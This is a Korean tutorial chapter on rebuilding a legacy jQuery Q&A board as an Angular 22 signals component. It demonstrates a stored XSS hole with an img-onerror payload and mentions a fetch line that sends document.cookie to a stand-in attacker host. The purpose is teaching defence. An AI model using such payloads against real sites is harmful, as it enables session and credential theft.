Skip to content

Chapter 01. 돌아가기만 하는 사내 레거시: jQuery 게시판의 종말 ​

"수년간 사내 인트라넷을 지탱해 온 저 jQuery 파일은 왜 지금 우리 팀의 가장 큰 기술 부채가 되었는가? 그리고 우리는 이 하나의 코드를 어디서부터, 어떻게 손으로 직접 작성하며 현대적 Angular 22 아키텍처로 진화시킬 수 있는가?"


📋 이 장에서 처음 만나는 개념 — 모르는 문법이 나오면 0장 준비운동에서 찾아볼 수 있습니다.

꼭 잡을 핵심 3개 — 이 장을 마치면 이 셋은 손에 익어 있어야 합니다.

개념한 줄 요약설명 위치
signal(), .set(), .update()값이 바뀌면 해당 신호를 구독하는 템플릿만 핀포인트로 다시 그리는 반응형 상자Step 2 (사용법) → 2장에서 내부 원리
{{ }}, @if, @for ... track, @empty, (click)신호 상태를 화면에 선언적으로 그리고 이벤트를 연결하는 Angular 22 템플릿 문법Step 2 ~ Step 4
HttpClient & inject()$.ajax를 대체하는 내장 HTTP 클라이언트와 생성자 없는 함수형 의존성 주입Step 2 🆕 박스
참고 문법 — 나올 때마다 그 자리의 🆕 박스가 풀어 줍니다
개념한 줄 요약설명 위치
Standalone @Component모듈 등록 없이 독립 실행되는 컴포넌트 데코레이터Step 1 🆕 박스
ChangeDetectionStrategy.OnPush신호 변경이나 입력 변경 시에만 컴포넌트를 정밀 갱신하는 전략Step 1 🆕 박스 → 2장 2.5
FormsModule ([ngModel], (ngModelChange))입력창과 Signal 상태를 연결하는 폼 바인딩 기초Step 3 🆕 박스 → 1.5장에서 model()과 Signal Forms로 진화
자동 XSS 새니타이징(Sanitization){{ post.title }} 출력 시 악성 스크립트 실행을 원천 차단하는 보안 메커니즘Step 3 🔬 심화 박스

TIP

🏁 이 장의 시작 파일
frontend/src/app/board-app/board-app.component.ts와 board-app.component.html을 비우고 처음부터 한 줄씩 작성합니다. 이 장에서 손대는 파일: frontend/src/app/board-app/board-app.component.ts, frontend/src/app/board-app/board-app.component.html, frontend/src/app/board-app/board-app.component.css


1.1 사내 인트라넷에 살아 숨 쉬는 jQuery 게시판 해부 ​

우리 회사 인트라넷에는 사내 Q&A와 공지사항을 위해 구축된 전형적인 **jQuery 기반 게시판(legacy-board.html)**이 지금도 돌아가고 있습니다. 코드를 짠 선배는 이미 퇴사했고, 손대면 어디가 터질지 몰라 주석 하나도 경건한 마음으로 바라보는 바로 그 레거시 파일입니다.

먼저 적을 알아야 백전백승입니다. legacy-board.html의 핵심 스크립트 구조가 왜 스파게티가 되었는지 실제 코드를 열어 확인해 봅시다.

html
<!-- backend/src/main/resources/static/legacy-board.html 핵심 발췌 -->
<div class="header">
  <h2>사내 기술 Q&A 게시판 (Legacy)</h2>
  <!-- 🚨 버그 포인트 1: 처음 로딩할 때만 갱신되고 삭제 시에는 방치되는 배지 -->
  <span id="total-badge" class="badge">총 0건</span>
</div>

<table id="board-table">
  <tbody id="board-tbody"></tbody>
</table>

<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
<script>
  // 1. 목록 조회: 문자열 이어 붙이기와 수동 DOM 조작의 향연
  function loadPosts() {
    $.ajax({
      url: '/api/posts?size=20',
      method: 'GET',
      success: function (res) {
        var items = res.items || [];
        $('#total-badge').text('총 ' + items.length + '건');
        var $tbody = $('#board-tbody').empty();

        if (items.length === 0) {
          $tbody.append('<tr><td colspan="5">등록된 게시글이 없습니다.</td></tr>');
          return;
        }

        // 🚨 버그 포인트 3: 사용자 입력값(p.title)을 이스케이프 없이 HTML 문자열로 직접 결합 (XSS 무방비!)
        $.each(items, function (i, p) {
          var rowHtml =
            '<tr data-id="' + p.id + '">' +
              '<td>' + p.id + '</td>' +
              '<td class="post-title">' + p.title + '</td>' +
              '<td>' + p.author + '</td>' +
              '<td>' + p.createdAt + '</td>' +
              '<td><button class="btn-delete" data-id="' + p.id + '">삭제</button></td>' +
            '</tr>';
          $tbody.append(rowHtml);
        });
      }
    });
  }

  // 2. 삭제 이벤트: CSS 클래스(.btn-delete)와 태그 구조(closest('tr'))에 강하게 결합됨
  $(document).on('click', '.btn-delete', function () {
    var $btn = $(this);
    var id = $btn.data('id');
    if (!confirm('정말 삭제하시겠습니까?')) return;

    $.ajax({
      url: '/api/posts/' + id,
      method: 'DELETE',
      success: function () {
        // 🚨 버그 포인트 1 & 2: DOM에서 <tr>만 뜯어내고, #total-badge 건수 차감과 빈 상태 처리를 깜빡함!
        $btn.closest('tr').remove();
      }
    });
  });
</script>

1.2 [실습] 브라우저에서 직접 터뜨려보는 jQuery 3대 치명적 버그 ​

백엔드 서버(http://localhost:8080)를 띄우고 http://localhost:8080/legacy-board.html에 접속하여 아래 3가지 실험을 순서대로 수행해 보십시오.

bash
cd backend
./mvnw spring-boot:run
# Windows PowerShell의 경우: .\mvnw.cmd spring-boot:run

[실험 1] 상태 파편화(State Fragmentation)와 뷰 동기화 실패 ​

  • 행동: 상단 배지가 총 7건인 것을 확인한 뒤, 아무 행이나 우측의 [삭제] 버튼을 눌러 1~2건을 지워 봅니다.
  • 결과: 행은 테이블에서 사라졌는데 상단 배지는 여전히 **총 7건**입니다! 심지어 마지막 남은 글까지 모두 지워도 "등록된 게시글이 없습니다" 안내 행이 나타나지 않고 빈 테이블 헤더만 덩그러니 남습니다.
  • 원인: 실제 데이터와 화면(DOM)이 따로 놀고 있기 때문입니다. 개발자가 $btn.closest('tr').remove()를 호출할 때마다 화면 곳곳에 흩어진 배지 숫자(#total-badge)와 빈 안내 행을 매번 수동으로 계산해 고쳐주어야 하는데, 기능이 복잡해지면 100% 누락이 발생합니다.

NOTE

3번 글에는 6장 계층형 댓글 실습에서 사용할 샘플 대댓글 트리가 달려 있습니다. 삭제 실험에는 다른 번호의 글을 사용하십시오(실수로 지웠다면 백엔드 서버를 재시작하면 H2 인메모리 DB가 초기 7건으로 복구됩니다).

[실험 2] 마크업 구조 변경 시 셀렉터 침묵(Silent Failure) 현상 ​

  • 행동: 브라우저 개발자 도구(F12 → Elements 탭)에서 아무 행의 <button class="btn-delete" data-id="...">를 찾아 클래스명을 btn-delete에서 btn-remove로 고친 뒤 클릭해 봅니다.
  • 결과: 확인 창도 안 뜨고, 콘솔에 에러 한 줄 찍히지 않은 채 아무 동작도 하지 않습니다. 퍼블리셔나 디자이너가 테이블(<tr>)을 카드 레이아웃(<div class="card">)으로 리뉴얼하는 순간, $btn.closest('tr').remove()는 빈 요소를 반환하여 서버 DB에서는 글이 지워졌는데 화면에는 글이 그대로 남아 있는 유령 버그를 만듭니다.

[실험 3] 사내 세션 탈취 Stored XSS(교차 사이트 스크립팅) 취약점 ​

  • 행동: 게시글 제목 입력창에 아래 악성 스크립트 페이로드를 복사해 붙여넣고 작성자를 입력한 뒤 [게시글 등록]을 누릅니다.
html
<img src="invalid-image" onerror="alert('🚨 [보안 경고] 사내 세션 토큰이 탈취되었습니다!');">
  • 결과: 글이 등록되자마자 브라우저에 alert 경고창이 폭발합니다! 만약 해커가 alert 대신 fetch('https://hacker.com/steal?cookie=' + document.cookie)를 넣었다면, 이 게시판을 열람하는 모든 임직원의 세션과 권한이 즉시 탈취됩니다.
  • 원인: '<td class="post-title">' + p.title + '</td>'처럼 데이터를 단순 문자열로 이어 붙여 innerHTML(append)로 밀어 넣었기 때문에, 브라우저가 데이터와 실행 코드를 구분하지 못하고 스크립트로 실행해 버린 것입니다.

1.3 [실습 환경 준비] Angular 22 프론트엔드 프로젝트 구조 이해하기 ​

이제 이 위태로운 jQuery 게시판을 Angular 22 + TypeScript 6.0 아키텍처로 전환하겠습니다. 프론트엔드 폴더(frontend/)의 구조를 살펴봅시다.

text
angular-board-architecture/
├── backend/                           # Spring Boot 3 백엔드 (REST API: 8080)
└── frontend/                          # Angular 22 + TypeScript 6.0 프론트엔드 (4200)
    ├── package.json                   # @angular/core ^22.0.0, TypeScript ~6.0, Vitest
    ├── angular.json                   # esbuild/Vite 빌더 및 프록시(proxy.conf.json) 설정
    └── src/
        ├── main.ts                    # bootstrapApplication(AppComponent, appConfig) 진입점
        └── app/
            ├── app.config.ts          # provideHttpClient(), provideRouter() 전역 설정
            ├── app.component.ts       # 최상위 루트 레이아웃 컴포넌트
            └── board-app/             # 👈 우리가 직접 한 줄씩 코딩할 실습 디렉터리!
                ├── board-app.component.ts
                ├── board-app.component.html
                └── board-app.component.css

🆕 처음 보는 문법: main.ts와 app.config.ts

과거 Angular처럼 platformBrowserDynamic().bootstrapModule(AppModule)을 쓰지 않습니다. 모던 Angular 22는 main.ts에서 bootstrapApplication(AppComponent, appConfig) 함수 하나로 깔끔하게 앱을 기동하며, app.config.ts에 provideHttpClient()를 등록해 앱 어디서든 inject(HttpClient)를 쓸 수 있게 준비해 두었습니다.

새 터미널을 열어 프론트엔드 개발 서버를 실행합니다:

bash
cd frontend
npm install
npm start
# (내부적으로 ng serve 실행 → http://localhost:4200 오픈)

1.4 [따라하기 실습] BoardAppComponent 5단계 점진적 코딩 ​

한 번에 완성본을 붙여넣지 마십시오! 골격 생성 → 목록 조회(Read) → 글 등록(Create) → 글 삭제(Delete) 순서로 코딩하며 화면이 어떻게 반응하는지 체감해 봅시다.

🍳 비유로 이해하는 명령형(jQuery) vs 선언형(Angular 22 Signals)

  • 명령형 (jQuery - 간섭쟁이 손님): 레스토랑 주방으로 쳐들어가 요리사에게 일일이 지시합니다. "냉장고 2번 칸 열어! 계란 꺼내! 프라이팬에 기름 둘러! 30초 뒤에 뒤집어! 접시에 담고 카운터 숫자도 1 올려!" 지시 하나만 깜빡해도 주방에 불이 납니다(배지 숫자 누락 버그).
  • 선언형 (Angular 22 - 우아한 미식가): 테이블에 앉아 "반숙 계란프라이 하나요" 하고 주문서(데이터 신호 signal())만 고쳐 적습니다. 불을 켜고 접시에 담아 서빙하는 과정은 전문 셰프(Angular Signals 렌더링 엔진)가 신호 변화를 감지해 가장 빠르고 안전한 방법으로 처리합니다.

[Step 1] 컴포넌트 기본 골격 작성 ​

frontend/src/app/board-app/board-app.component.ts와 .html을 열고 기본 골격부터 세웁니다.

typescript
// frontend/src/app/board-app/board-app.component.ts
import { Component, ChangeDetectionStrategy } from '@angular/core';

@Component({
  selector: 'app-board-app',
  standalone: true,
  imports: [],
  templateUrl: './board-app.component.html',
  styleUrl: './board-app.component.css',
  changeDetection: ChangeDetectionStrategy.OnPush
})
export class BoardAppComponent {
  // 여기에 반응형 신호(Signals)와 비즈니스 로직을 하나씩 채워 넣습니다.
}
html
<!-- frontend/src/app/board-app/board-app.component.html -->
<div class="board-card">
  <div class="card-header">
    <h2>✅ [Angular 22 마이그레이션] 사내 기술 Q&A 게시판</h2>
    <span class="badge">Angular 22 + Signals</span>
  </div>

  <p style="color: #64748b; padding: 20px 0;">
    게시판 Standalone 컴포넌트가 성공적으로 마운트되었습니다.
  </p>
</div>

🆕 처음 보는 문법: @Component 데코레이터의 핵심 옵션

  • selector: 'app-board-app': HTML에서 <app-board-app></app-board-app> 태그로 이 컴포넌트를 끼워 넣겠다는 이름표입니다.
  • standalone: true: Angular 22에서는 기본값이므로 생략해도 똑같이 동작하지만, 독립 컴포넌트임을 명시하기 위해 적어 두었습니다.
  • changeDetection: ChangeDetectionStrategy.OnPush: 무거운 전체 트리 검사를 끄고, 이 컴포넌트가 구독하는 signal() 값이 바뀌었을 때만 화면을 정밀하게 갱신하겠다는 고성능 선언입니다(2장에서 원리 해부).

[Step 2] 데이터 인터페이스 정의 및 목록 선언적 조회 (Read) ​

백엔드 /api/posts API를 호출해 게시글 목록을 화면에 그려 봅시다. 백엔드는 { items: Post[], total: number, ... } 형태의 페이지 응답 객체를 내려보내며, 혹시 배열 자체를 반환하는 경우까지 안전하게 방어합니다.

  1. board-app.component.ts에 Post 인터페이스와 posts 신호, loadPosts() 메서드를 작성합니다:
typescript
// frontend/src/app/board-app/board-app.component.ts
import { Component, ChangeDetectionStrategy, signal, inject, OnInit } from '@angular/core';
import { HttpClient } from '@angular/common/http';

// 1. 게시글 데이터 타입 정의 (백엔드 PostResponse DTO와 1:1 계약)
export interface Post {
  id: number;
  title: string;
  author: string;
  content: string;
  category: string;
  createdAt: string;
  likeCount?: number;
}

interface PageResponse {
  items: Post[];
  total: number;
}

@Component({
  selector: 'app-board-app',
  standalone: true,
  imports: [],
  templateUrl: './board-app.component.html',
  styleUrl: './board-app.component.css',
  changeDetection: ChangeDetectionStrategy.OnPush
})
export class BoardAppComponent implements OnInit {
  // 2. 함수형 의존성 주입으로 HttpClient 획득 (생성자 constructor 불필요!)
  private readonly http = inject(HttpClient);

  // 3. 반응형 신호(Signal) 상태 선언: 이 신호들이 바뀌면 화면이 자동으로 따라 바뀐다!
  posts = signal<Post[]>([]);
  isLoading = signal<boolean>(false);

  // 4. 컴포넌트 초기화 시점에 목록 1회 로드
  ngOnInit(): void {
    this.loadPosts();
  }

  loadPosts(): void {
    this.isLoading.set(true);
    this.http.get<PageResponse | Post[]>('/api/posts?size=20').subscribe({
      next: (res) => {
        const list = Array.isArray(res) ? res : (res.items ?? []);
        this.posts.set(list); // 🌟 신호 상자에 새 배열 세팅!
        this.isLoading.set(false);
      },
      error: () => {
        alert('게시글 목록을 불러오지 못했습니다.');
        this.isLoading.set(false);
      }
    });
  }
}

🆕 처음 보는 문법: inject(), signal(), .set()

  • private readonly http = inject(HttpClient): 과거 Angular처럼 constructor(private http: HttpClient) {}를 길게 쓰지 않고, 필드 선언부에서 inject() 함수로 깔끔하게 주입받습니다.
  • posts = signal<Post[]>([]): 초기값으로 빈 배열 []을 가진 반응형 신호 상자를 만듭니다.
  • this.posts.set(list): 신호 상자 안의 값을 새 값으로 통째로 교체합니다. 이 순간 posts()를 읽고 있던 HTML 템플릿 구역에 즉시 변경 알림이 날아갑니다.
  1. board-app.component.html에 @if와 @for ... track ... @empty를 작성합니다:
html
<div class="board-card">
  <div class="card-header">
    <h2>✅ [Angular 22 마이그레이션] 사내 기술 Q&A 게시판</h2>
    <!-- 🌟 posts() 신호의 길이를 읽으므로 글이 추가/삭제될 때마다 배지 숫자가 자동 갱신된다! -->
    <span class="badge">총 {{ posts().length }}건</span>
  </div>

  @if (isLoading()) {
    <div class="loading-state">데이터를 불러오는 중입니다...</div>
  } @else {
    <table class="data-table">
      <thead>
        <tr>
          <th style="width: 60px;">ID</th>
          <th>제목</th>
          <th style="width: 100px;">작성자</th>
          <th style="width: 120px;">작성일</th>
          <th style="width: 80px;">동작</th>
        </tr>
      </thead>
      <tbody>
        @for (post of posts(); track post.id) {
          <tr>
            <td>{{ post.id }}</td>
            <td>
              <!-- 🌟 이중 중괄호 보간은 HTML 태그를 자동 이스케이프하여 XSS를 원천 차단한다 -->
              <span class="post-title">{{ post.title }}</span>
            </td>
            <td>{{ post.author }}</td>
            <td>{{ post.createdAt }}</td>
            <td>
              <button type="button" class="btn-delete">삭제</button>
            </td>
          </tr>
        } @empty {
          <tr>
            <td colspan="5" class="empty-state">등록된 게시글이 없습니다.</td>
          </tr>
        }
      </tbody>
    </table>
  }
</div>
🔬 심화(건너뛰어도 됨): @for에서 track post.id는 왜 필수인가요?

과거 *ngFor 시절에는 trackBy 함수를 안 써도 에러가 나지 않아, 많은 개발자가 생략했다가 배열이 조금만 바뀌어도 테이블 <tr> 전체를 다 부수고 다시 그리는 심각한 성능 저하를 겪었습니다.
모던 Angular의 @for는 이러한 실수를 원천 차단하기 위해 track 표현식을 문법적으로 강제합니다. track post.id라고 적어주면, Angular는 글 1건이 삭제되었을 때 나머지 행의 DOM 노드는 손대지 않고 삭제된 ID의 <tr> 딱 하나만 정확히 집어내어 제거합니다. 절대로 고유 ID 대신 $index를 track 키로 쓰지 마십시오(중간 행 삭제 시 포커스나 입력 상태가 엉뚱한 행에 남게 됩니다).


[Step 3] 등록 폼 연결과 불변성 업데이트 (Create) ​

이제 새 게시글을 등록하는 폼을 추가합니다.

  1. board-app.component.ts의 @Component.imports에 FormsModule을 추가하고, 폼 신호와 handleSubmit()을 작성합니다:
typescript
import { FormsModule } from '@angular/forms'; // 상단 import 추가

// @Component 데코레이터 안의 imports 배열 수정:
// imports: [FormsModule],

// 클래스 내부에 폼 신호 4개 추가:
newTitle = signal<string>('');
newAuthor = signal<string>('');
newContent = signal<string>('');
isSubmitting = signal<boolean>(false);

handleSubmit(): void {
  const title = this.newTitle().trim();
  const author = this.newAuthor().trim();
  const content = this.newContent().trim();

  if (!title || !author || !content) {
    alert('제목, 작성자, 내용을 모두 입력해 주세요.');
    return;
  }

  this.isSubmitting.set(true);
  this.http.post<Post>('/api/posts', {
    title,
    author,
    content,
    category: 'DEV'
  }).subscribe({
    next: (createdPost) => {
      // 🌟 핵심: DOM에 <tr>을 append하지 않고, posts 신호 배열 맨 앞에 새 글을 불변 방식으로 추가!
      this.posts.update((prev) => [createdPost, ...prev]);

      // 입력창 신호 초기화
      this.newTitle.set('');
      this.newAuthor.set('');
      this.newContent.set('');
      this.isSubmitting.set(false);
    },
    error: () => {
      alert('게시글 등록에 실패했습니다.');
      this.isSubmitting.set(false);
    }
  });
}
  1. board-app.component.html의 .card-header 바로 아래에 등록 <form>을 추가합니다:
html
  <!-- 1. 게시글 등록 폼 -->
  <form class="form-container" (ngSubmit)="handleSubmit()">
    <div class="input-row">
      <input
        [ngModel]="newTitle()"
        (ngModelChange)="newTitle.set($event)"
        name="title"
        type="text"
        placeholder="제목 (XSS 공격 스크립트를 입력해 보세요)"
        required
      />
      <input
        [ngModel]="newAuthor()"
        (ngModelChange)="newAuthor.set($event)"
        name="author"
        type="text"
        placeholder="작성자"
        class="author-input"
        required
      />
      <button type="submit" [disabled]="isSubmitting()" class="btn-submit">
        {{ isSubmitting() ? '등록 중...' : '게시글 등록' }}
      </button>
    </div>
    <textarea
      [ngModel]="newContent()"
      (ngModelChange)="newContent.set($event)"
      name="content"
      placeholder="내용을 입력하세요"
      rows="3"
      required
    ></textarea>
  </form>

🆕 처음 보는 문법: .update()와 (ngSubmit)

  • this.posts.update(prev => [createdPost, ...prev]): 이전 상태(prev)를 받아 새로운 배열([createdPost, ...prev])을 만들어 반환합니다. prev.unshift(createdPost)처럼 원본 배열을 직접 변형(Mutate)하면 배열 참조 주소가 그대로여서 Signal이 변경을 감지하지 못합니다! 반드시 스프레드 연산자(...)로 새 배열을 만들어 반환하십시오.
  • (ngSubmit)="handleSubmit()": FormsModule이 제공하는 폼 제출 이벤트로, 브라우저의 기본 새로고침(event.preventDefault())을 자동으로 막아주고 handleSubmit()을 호출합니다.
  • [(ngModel)]="newTitle" 축약: 최신 Angular에서는 WritableSignal에 대해 바나나 인 어 박스([(ngModel)]="newTitle") 문법도 지원하지만, [ngModel]="newTitle()"(읽기)과 (ngModelChange)="newTitle.set($event)"(쓰기)로 풀어서 보면 단방향 데이터가 कैसे 흐르는지 한눈에 이해할 수 있습니다(1.5장에서는 더 진보한 Signal Forms와 model()을 배웁니다).

💡 [확인하기 - XSS 공격 완벽 방어 검증!]:
제목 입력창에 아까 jQuery를 마비시켰던 <img src="x" onerror="alert('해킹');">을 그대로 넣고 등록해 보십시오.
결과: 경고창이 전혀 뜨지 않고, 태그 문자열 그대로 테이블 최상단에 안전하게 텍스트로 출력되며 상단 배지도 총 8건으로 즉시 올라갑니다!

🔬 심화(건너뛰어도 됨): Angular에서도 XSS가 발생할 수 있는 예외 지점과 DomSanitizer

&#123;&#123; post.title &#125;&#125; 보간법은 모든 값을 단순 텍스트 노드로 처리하므로 100% 안전합니다. 만약 공지사항 에디터처럼 HTML 마크업을 실제로 렌더링하려고 <div [innerHTML]="post.content"></div>를 쓰더라도, Angular는 내장 **DomSanitizer**를 자동으로 가동해 <script> 태그나 onerror 속성을 알아서 발라내고 안전한 태그(<b>, <p> 등)만 남깁니다. 개발자가 의도적으로 bypassSecurityTrustHtml()을 호출하지 않는 한 Angular에서 클라이언트 측 XSS가 뚫리는 일은 거의 없습니다.


[Step 4] 단 한 줄로 끝내는 삭제 기능 연결 (Delete) ​

과거 jQuery에서는 $btn.closest('tr').remove()로 DOM을 뜯어냈지만, Angular에서는 신호 배열에서 해당 ID만 걸러내면 끝입니다.

  1. board-app.component.ts에 handleDelete(id: number)를 추가합니다:
typescript
handleDelete(id: number): void {
  if (!confirm('정말 삭제하시겠습니까?')) return;

  this.http.delete<void>(`/api/posts/${id}`).subscribe({
    next: () => {
      // 🌟 삭제된 ID를 제외한 새 배열로 업데이트하면 <tr> 제거 + 배지 차감 + @empty 처리가 한 번에 끝난다!
      this.posts.update((prev) => prev.filter((p) => p.id !== id));
    },
    error: () => {
      alert('게시글 삭제에 실패했습니다.');
    }
  });
}
  1. board-app.component.html의 삭제 버튼에 (click) 이벤트를 연결합니다:
html
<!-- 변경 전: <button type="button" class="btn-delete">삭제</button> -->
<button type="button" class="btn-delete" (click)="handleDelete(post.id)">삭제</button>

[Step 5] 1장 완성본 전체 소스 코드 확인 (Full Hands-on Code) ​

우리가 작성한 3개 파일(ts, html, css)의 생략 없는 전체 코드입니다. 내 코드와 한 줄씩 대조해 보십시오.

typescript
// frontend/src/app/board-app/board-app.component.ts
import { Component, ChangeDetectionStrategy, signal, inject, OnInit } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { HttpClient } from '@angular/common/http';

export interface Post {
  id: number;
  title: string;
  author: string;
  content: string;
  category: string;
  createdAt: string;
  likeCount?: number;
}

interface PageResponse {
  items: Post[];
  total: number;
}

@Component({
  selector: 'app-board-app',
  standalone: true,
  imports: [FormsModule],
  templateUrl: './board-app.component.html',
  styleUrl: './board-app.component.css',
  changeDetection: ChangeDetectionStrategy.OnPush
})
export class BoardAppComponent implements OnInit {
  private readonly http = inject(HttpClient);

  // 1. 목록 및 로딩 상태 신호
  posts = signal<Post[]>([]);
  isLoading = signal<boolean>(false);

  // 2. 등록 폼 상태 신호
  newTitle = signal<string>('');
  newAuthor = signal<string>('');
  newContent = signal<string>('');
  isSubmitting = signal<boolean>(false);

  ngOnInit(): void {
    this.loadPosts();
  }

  loadPosts(): void {
    this.isLoading.set(true);
    this.http.get<PageResponse | Post[]>('/api/posts?size=20').subscribe({
      next: (res) => {
        const list = Array.isArray(res) ? res : (res.items ?? []);
        this.posts.set(list);
        this.isLoading.set(false);
      },
      error: () => {
        alert('게시글 목록을 불러오지 못했습니다.');
        this.isLoading.set(false);
      }
    });
  }

  handleSubmit(): void {
    const title = this.newTitle().trim();
    const author = this.newAuthor().trim();
    const content = this.newContent().trim();

    if (!title || !author || !content) {
      alert('제목, 작성자, 내용을 모두 입력해 주세요.');
      return;
    }

    this.isSubmitting.set(true);
    this.http.post<Post>('/api/posts', {
      title,
      author,
      content,
      category: 'DEV'
    }).subscribe({
      next: (createdPost) => {
        this.posts.update((prev) => [createdPost, ...prev]);
        this.newTitle.set('');
        this.newAuthor.set('');
        this.newContent.set('');
        this.isSubmitting.set(false);
      },
      error: () => {
        alert('게시글 등록에 실패했습니다.');
        this.isSubmitting.set(false);
      }
    });
  }

  handleDelete(id: number): void {
    if (!confirm('정말 삭제하시겠습니까?')) return;

    this.http.delete<void>(`/api/posts/${id}`).subscribe({
      next: () => {
        this.posts.update((prev) => prev.filter((p) => p.id !== id));
      },
      error: () => {
        alert('게시글 삭제에 실패했습니다.');
      }
    });
  }
}
html
<!-- frontend/src/app/board-app/board-app.component.html -->
<div class="board-card">
  <div class="card-header">
    <h2>✅ [Angular 22 마이그레이션] 사내 기술 Q&A 게시판</h2>
    <span class="badge">총 {{ posts().length }}건</span>
  </div>

  <!-- 1. 등록 폼 -->
  <form class="form-container" (ngSubmit)="handleSubmit()">
    <div class="input-row">
      <input
        [ngModel]="newTitle()"
        (ngModelChange)="newTitle.set($event)"
        name="title"
        type="text"
        placeholder="제목"
        required
      />
      <input
        [ngModel]="newAuthor()"
        (ngModelChange)="newAuthor.set($event)"
        name="author"
        type="text"
        placeholder="작성자"
        class="author-input"
        required
      />
      <button type="submit" [disabled]="isSubmitting()" class="btn-submit">
        {{ isSubmitting() ? '등록 중...' : '게시글 등록' }}
      </button>
    </div>
    <textarea
      [ngModel]="newContent()"
      (ngModelChange)="newContent.set($event)"
      name="content"
      placeholder="내용을 입력하세요"
      rows="3"
      required
    ></textarea>
  </form>

  <!-- 2. 로딩 및 목록 테이블 -->
  @if (isLoading()) {
    <div class="loading-state">데이터를 불러오는 중입니다...</div>
  } @else {
    <table class="data-table">
      <thead>
        <tr>
          <th style="width: 60px;">ID</th>
          <th>제목</th>
          <th style="width: 100px;">작성자</th>
          <th style="width: 120px;">작성일</th>
          <th style="width: 80px;">동작</th>
        </tr>
      </thead>
      <tbody>
        @for (post of posts(); track post.id) {
          <tr>
            <td>{{ post.id }}</td>
            <td><span class="post-title">{{ post.title }}</span></td>
            <td>{{ post.author }}</td>
            <td>{{ post.createdAt }}</td>
            <td>
              <button type="button" class="btn-delete" (click)="handleDelete(post.id)">삭제</button>
            </td>
          </tr>
        } @empty {
          <tr>
            <td colspan="5" class="empty-state">등록된 게시글이 없습니다.</td>
          </tr>
        }
      </tbody>
    </table>
  }
</div>
css
/* frontend/src/app/board-app/board-app.component.css */
.board-card { background: #ffffff; border-radius: 12px; box-shadow: 0 4px 6px -1px rgba(0,0,0,0.1); padding: 24px; }
.card-header { display: flex; justify-content: space-between; align-items: center; border-bottom: 2px solid #e2e8f0; padding-bottom: 16px; margin-bottom: 20px; }
.badge { background: #ecfdf5; color: #10b981; padding: 4px 12px; border-radius: 999px; font-size: 13px; font-weight: 700; }
.form-container { background: #f8fafc; border: 1px solid #e2e8f0; border-radius: 8px; padding: 16px; margin-bottom: 24px; }
.input-row { display: flex; gap: 10px; margin-bottom: 10px; }
.input-row input { flex: 1; padding: 8px 12px; border: 1px solid #cbd5e1; border-radius: 6px; }
.input-row .author-input { flex: 0 0 140px; }
.btn-submit { background: #10b981; color: white; border: none; padding: 8px 16px; border-radius: 6px; font-weight: 600; cursor: pointer; }
.btn-submit:disabled { background: #94a3b8; cursor: not-allowed; }
textarea { width: 100%; box-sizing: border-box; padding: 8px 12px; border: 1px solid #cbd5e1; border-radius: 6px; resize: vertical; }
.data-table { width: 100%; border-collapse: collapse; margin-top: 16px; font-size: 14px; }
.data-table th, .data-table td { border-bottom: 1px solid #e2e8f0; padding: 12px; text-align: left; }
.data-table th { background: #f8fafc; color: #475569; font-weight: 600; }
.post-title { font-weight: 600; color: #0f172a; }
.loading-state, .empty-state { text-align: center; padding: 40px; color: #94a3b8; }
.btn-delete { background: #fee2e2; color: #ef4444; border: 1px solid #fca5a5; padding: 4px 8px; border-radius: 4px; cursor: pointer; }
.btn-delete:hover { background: #fecaca; }

1.5 [직접 해보기] 실습 미션 💪 ​

방금 만든 BoardAppComponent에 "입력 폼 초기화(비우기)" 버튼과 "목록 새로고침" 버튼을 직접 추가해 보십시오.

📝 미션 요구사항 ​

  1. BoardAppComponent 클래스에 clearForm(): void 메서드를 추가하십시오. 호출 시 newTitle, newAuthor, newContent 세 신호를 모두 빈 문자열('')로 초기화해야 합니다.
  2. 등록 폼의 [게시글 등록] 버튼 옆에 <button type="button" (click)="clearForm()">초기화</button> 버튼을 배치하십시오. (type="button"을 빼먹으면 폼 제출이 일어나니 주의!)
  3. 카드 헤더의 배지 옆에 <button type="button" (click)="loadPosts()" [disabled]="isLoading()">새로고침</button> 버튼을 추가해 보십시오.
💡 미션 정답 코드 확인하기
typescript
// board-app.component.ts 내부에 메서드 추가
clearForm(): void {
  this.newTitle.set('');
  this.newAuthor.set('');
  this.newContent.set('');
}
html
<!-- board-app.component.html의 .card-header 수정 -->
<div class="card-header">
  <h2>✅ [Angular 22 마이그레이션] 사내 기술 Q&A 게시판</h2>
  <div style="display: flex; gap: 8px; align-items: center;">
    <span class="badge">총 {{ posts().length }}건</span>
    <button type="button" class="btn-refresh" (click)="loadPosts()" [disabled]="isLoading()">
      {{ isLoading() ? '로딩 중...' : '🔄 새로고침' }}
    </button>
  </div>
</div>

<!-- .input-row의 등록 버튼 옆에 초기화 버튼 추가 -->
<button type="button" class="btn-reset" (click)="clearForm()" [disabled]="isSubmitting()">
  초기화
</button>

1.6 이번 장 핵심 요약 및 다음 단계 🚀 ​

핵심 요약 3줄

  1. jQuery 레거시의 3대 고질병(상태와 DOM의 불일치, 마크업 변경 시 셀렉터 먹통, 문자열 결합으로 인한 XSS 취약점)은 명령형 DOM 조작에서 비롯됩니다.
  2. Angular 22에서는 화면에 보여 줄 상태를 signal()에 담고, 템플릿은 @if, @for ... track post.id, @empty로 그 상태를 선언적으로 그리기만 합니다.
  3. 글 등록과 삭제는 DOM을 직접 건드리지 않고 this.posts.update(...)로 배열 참조를 불변 업데이트하는 것으로 끝나며, &#123;&#123; post.title &#125;&#125; 보간은 자동으로 XSS를 방어합니다.

다음 단계: 기본적인 CRUD는 돌아가지만, 실무에서는 "글을 등록한 뒤 제목 입력창으로 포커스를 자동으로 되돌리고 싶다", "선택한 행에 하이라이트 클래스를 주고 싶다", "자식 컴포넌트로 배지를 분리하고 양방향 모델을 연결하고 싶다" 같은 요구사항이 바로 뒤따릅니다. 이어지는 Chapter 01.5에서 viewChild() Signal 쿼리, model() 양방향 바인딩, input()/output() 함수형 입출력을 손으로 익혀 봅시다!

Moon HomeLab Engineering Knowledge Hub